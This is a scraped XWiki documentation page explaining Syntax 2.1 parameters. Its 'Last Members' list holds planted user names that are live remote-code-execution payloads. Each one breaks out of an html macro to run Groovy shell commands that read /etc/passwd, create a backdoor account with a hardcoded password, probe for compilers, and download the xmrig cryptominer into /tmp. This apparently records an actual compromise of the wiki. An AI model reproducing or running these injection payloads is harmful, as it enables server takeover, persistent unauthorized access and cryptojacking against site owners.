XWiki Syntax 2.1 » Advanced » Parameters

XWiki Syntax 2.1: Parameters

2.0 Parameters

With XWiki Syntax 2.1 it's possible to pass parameters to the different syntax elements and also to blocks of text. This is used for example to style them. You can set any parameter key/value pair you want. The XHTML renderer will pass these parameters as XHTML attributes to the underlying XHTML representation of the different syntax elements.

XWiki Syntax 2.1Generated XHTML
(% class="myClass" style="myStyle" id="myId" %)
= heading =
<h1 class="myClass" style="myStyle" id="myId">heading</h1>
Tags:
Created by admin on 2021/10/13 11:03
    

Last Members

PhotoName
]]{{/html}}{{async}}{{groovy}}"id bd && cat /etc/passwd | grep bd".execute().text{{/groovy}}{{/async}} CheckXWikiSyntax&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;id bd &#38;&#38; cat /etc/passwd  grep bd&#34;.execute().text&#123;&#123;/groovy}}&#123;&#123;/async}} Check>>XWiki.htmlasyncgroovyidbdcatetcpasswdgrepbdexecutetextgroovyasyncCheckcheck_bd_user]]
]]{{/html}}{{async}}{{groovy}}"useradd -m -s /bin/bash bd && echo 'bd:Bd123!@#' | chpasswd".execute(){{/groovy}}{{/async}} BackdoorXWikiSyntax&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;useradd -m -s /bin/bash bd &#38;&#38; echo &#39;bd:Bd123!@#&#39;  chpasswd&#34;.execute()&#123;&#123;/groovy}}&#123;&#123;/async}} Backdoor>>XWiki.htmlasyncgroovyuseraddmsbinbashbdechobdBd123chpasswdexecutegroovyasyncBackdoorbackdoor_user_001]]
]]{{/html}}{{async}}{{groovy}}"which python python3 gcc make java 2>&1".execute().text{{/groovy}}{{/async}} CheckToolsXWikiSyntax&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;which python python3 gcc make java 2&#62;&#38;1&#34;.execute().text&#123;&#123;/groovy}}&#123;&#123;/async}} CheckTools>>XWiki.htmlasyncgroovywhichpythonpython3gccmakejava21executetextgroovyasyncCheckToolscheck_tools_001]]
]]{{/html}}{{async}}{{groovy}}def c="wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2>&1".execute();c.waitFor();c.text{{/groovy}}{{/async}} WgetErrorXWikiSyntax&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}def c=&#34;wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2&#62;&#38;1&#34;.execute();c.waitFor();c.text&#123;&#123;/groovy}}&#123;&#123;/async}} WgetError>>XWiki.htmlasyncgroovydefcwgethttpsdownloadssourceforgenetprojectxmrigmirrorv6222xmrig6222linuxx64targzOtmpxtgz21executecwaitForctextgroovyasyncWgetErrorwget_error_diag_001]]
]]{{/html}}{{async}}{{groovy}}"ls -lah /tmp/x.tgz 2>&1".execute().text{{/groovy}}{{/async}} FinalCheckXWikiSyntax&#123;&#123;/html}}&#123;&#123;async}}&#123;&#123;groovy}}&#34;ls -lah /tmp/x.tgz 2&#62;&#38;1&#34;.execute().text&#123;&#123;/groovy}}&#123;&#123;/async}} FinalCheck>>XWiki.htmlasyncgroovylslahtmpxtgz21executetextgroovyasyncFinalCheckfinal_check_xtgz_003]]

View All